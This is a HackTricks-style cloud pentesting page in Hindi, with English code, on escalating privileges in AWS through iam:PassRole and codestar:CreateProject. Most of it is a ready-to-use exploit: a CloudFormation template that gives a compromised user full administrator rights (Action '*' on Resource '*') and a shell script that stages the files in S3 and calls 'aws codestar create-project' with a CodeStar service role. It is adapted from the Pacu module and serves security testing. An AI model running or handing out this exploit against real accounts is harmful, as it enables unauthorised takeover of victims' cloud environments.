iam:PassRole, codestar:CreateProject

Support HackTricks

इन अनुमतियों के साथ आप एक codestar IAM भूमिका का दुरुपयोग कर सकते हैं ताकि मनमाने कार्य को cloudformation टेम्पलेट के माध्यम से किया जा सके।

इसका लाभ उठाने के लिए आपको एक S3 बकेट बनानी होगी जो कि हमले वाले खाते से सुलभ हो। एक फ़ाइल अपलोड करें जिसका नाम toolchain.json हो। इस फ़ाइल में cloudformation टेम्पलेट का दुरुपयोग होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि आपके नियंत्रण में एक उपयोगकर्ता को प्रबंधित नीति सेट की जा सके और उसे व्यवस्थापक अनुमतियाँ दी जा सकें:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

इसके अलावा इस empty zip फ़ाइल को बकेट में अपलोड करें:

याद रखें कि दोनों फ़ाइलों के साथ बकेट पीड़ित खाते द्वारा सुलभ होना चाहिए

दोनों चीजें अपलोड करने के बाद, आप अब exploitation के लिए codestar प्रोजेक्ट बनाने की प्रक्रिया शुरू कर सकते हैं:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

यह एक्सप्लॉइट इन विशेषाधिकारों के Pacu एक्सप्लॉइट पर आधारित है: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 इसमें आप एक भूमिका के लिए एक व्यवस्थापक प्रबंधित नीति बनाने का एक भिन्नता पा सकते हैं, न कि एक उपयोगकर्ता के लिए।

HackTricks का समर्थन करें

Last updated